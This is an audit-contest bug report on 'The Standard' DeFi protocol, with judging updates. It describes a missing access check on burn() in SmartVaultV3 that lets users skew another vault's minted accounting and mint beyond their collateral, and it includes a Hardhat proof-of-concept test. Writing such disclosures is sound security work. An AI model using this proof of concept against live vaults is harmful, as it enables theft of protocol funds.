The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

User Can Mint Beyond The Level He Should Be Allowed to Borrow

EVDocPhantom

Summary

Any user can burn their EUROs by calling burn() from another user’s vault, leading to incorrect accounting for the minted variable in the vault where the function was called.

Vulnerability Details

There is no access control in the burn() function of SmartVaultV3
If Bob burns their EUROs by calling burn() from Alice’s vault, minted would be decreased in Alice’s vault by the amount burned by Bob, and Bob’s EUROs balance would be decreased by the amount burned. However, minted would remain unchanged in Bob's vault.

Impact

The minted variable is used to track how many EUROs were minted by the owner of the vault.
If the minted variable differs from the balance due to a lack of access control, it will impact liquidation and collateral withdrawal through the following functions:
undercollateralised() which is called from liquidate() in a require statement.
canRemoveCollateral() which is called from removeCollateral, removaCollateralNative and removeAsset() inside require statements.
More importantly, a user could mint more than allowed without adding collateral, breaking a protocol invariant.

Proof of Concept

Overview:

Actors:

  • user: Owner of vault. Deposit 1 ETH as collateral. Mint 1250 EUROs and mint again 1000 EUROs after otherUser burned 1200 EUROs from its vault.

  • otherUser: Owner of otherVault. Deposit 1 ETH as collateral. Mints 1250 EUROs and burn 1200 EUROs by calling burn() on user vault.

Working Test Case

This test can be pasted in SmartVaultManager.js under context block (L117)

describe('otherUser burn from vault and mint more', async () => {
it('allows burning from another vault', async () => {
const collateral = ethers.utils.parseEther('1');
const mintedValue = ethers.utils.parseEther('1250');
​
// get vaults
const vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
​
const otherVaultInfo = await VaultManager.connect(otherUser).vaults();
const addressOtherVault = otherVaultInfo[0][4].vaultAddress;
const otherVault = await ethers.getContractAt('SmartVaultV3', addressOtherVault);
​
// send collateral to vaults
await user.sendTransaction({to: vaultAddress, value: collateral});
await otherUser.sendTransaction({to: otherVault.address, value: collateral});
​
// user and otherUser mint 1250 euros each from their own vaults
await vault.connect(user).mint(user.address, mintedValue);
await otherVault.connect(otherUser).mint(otherUser.address, mintedValue);
// otherUser burns 1200 EUROs from user's vault, should succeed
const burnedValue = ethers.utils.parseEther('1200');
// approve
await EUROs.connect(otherUser).approve(vault.address, burnedValue);
​
let burn = vault.connect(otherUser).burn(burnedValue);
await expect(burn).not.to.be.reverted;
​
// user can mint beyond the level he should be allowed to borrow
const mintBeyond = ethers.utils.parseEther('1000');
await vault.connect(user).mint(user.address, mintBeyond);
});
});

Tools Used

Manual review

Recommendations

Add onlyOwner and onlyVaultManager modifiers to the burn() function.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

fee-loss

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!